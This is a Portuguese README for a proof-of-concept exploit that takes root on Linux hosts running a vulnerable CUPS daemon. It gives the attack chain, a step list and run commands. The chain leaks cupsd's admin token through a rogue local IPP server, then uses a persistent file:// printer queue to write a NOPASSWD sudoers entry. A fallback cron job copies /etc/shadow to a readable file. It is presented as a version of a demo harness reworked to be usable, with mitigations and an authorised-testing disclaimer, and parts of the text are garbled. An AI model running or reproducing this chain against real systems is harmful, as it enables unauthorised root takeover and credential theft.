
Escalação de privilégios local contra um `cupsd` root.
cups2root, desmontado)CVSS 3.x : 8.4 HIGH (aproximado — verifique)
CWE : CWE-287 (Autenticação Imprópria) + CWE-269 (Gerenciamento Impróprio de Privilégios)
Correção : CUPS 2.4.17+
Afeta : CUPS ≤ 2.4.16 com cupsd em execução como root e 631 acessível localmente
Escalada de privilégios local contra um cupsd executado como root. Quando coagido a atuar como
cliente IPP em direção a um servidor local malicioso, o cupsd responde a um desafio
401 WWW-Authenticate: Local reenviando seu próprio token de administrador. Capturar esse token
permite que um usuário sem privilégios controle o cupsd como administrador (root). Uma fila de
impressão file:// persistente (printer-is-temporary=false) contorna a política do FileDevice,
de modo que um Print-Job bruto grava bytes do atacante em qualquer caminho como root — aqui, um
fragmento de sudoers NOPASSWD.
Dois primitivos se encadeiam para produzir escrita arbitrária de arquivos como root:
Local reutilizável. O cupsd aceita uma autenticação Local respaldada por
um certificado root em /run/cups/certs/. Atuando como cliente IPP, ele oferece esse token
de administrador quando desafiado com 401 WWW-Authenticate: Local. Aponte o cupsd para um
servidor IPP falso que você controla e você captura um token válido para controlá-lo como root.file:// como device-uri é recusado por padrão. Criar a fila
com printer-is-temporary=false a torna persistente e contorna essa proteção; um Print-Job
bruto então grava seus bytes diretamente no arquivo alvo, como root. cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> é o próprio token de administrador do cupsd — reenvie-o contra /admin/ e você é
equivalente a root.
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
O PoC de referência (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) é um harness de
demonstração: ele roda como root, gera seu próprio cupsd e um usuário unpriv descartável,
e então usa sudo -u unpriv para simular o atacante. Inutilizável como está. Alterações:
127.0.0.1:631.$ATTACKER); fragmento <user> ALL=(ALL) NOPASSWD: ALL.ipptool / lpadmin / lpinfo / cupsctl| Status | Versões |
|---|---|
| Vulnerável | CUPS ≤ 2.4.16 |
| Corrigido | CUPS 2.4.17 e posteriores |
| Arquivo | Função |
|---|---|
exploit.py | PoC: vazamento de token → fila file:// → Print-Job bruto → root via sudoers |
README.md | Este arquivo |
Somente biblioteca padrão do Python 3 — sem dependências.
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
Em caso de sucesso:
[+] Local token: <token>
[+] ROOT via sudoers
depois sudo -i.
cupsd como root quando for evitável; reduza privilégios / coloque o serviço em sandbox.Local e o backend de dispositivo file://; mantenha a política do
FileDevice aplicada para filas persistentes.systemctl disable --now cups cups-browsed e remova o
pacote.Este projeto destina-se apenas a testes de segurança autorizados, educação e pesquisa defensiva. Você é responsável por cumprir as leis aplicáveis e as regras de engajamento do seu laboratório ou cliente.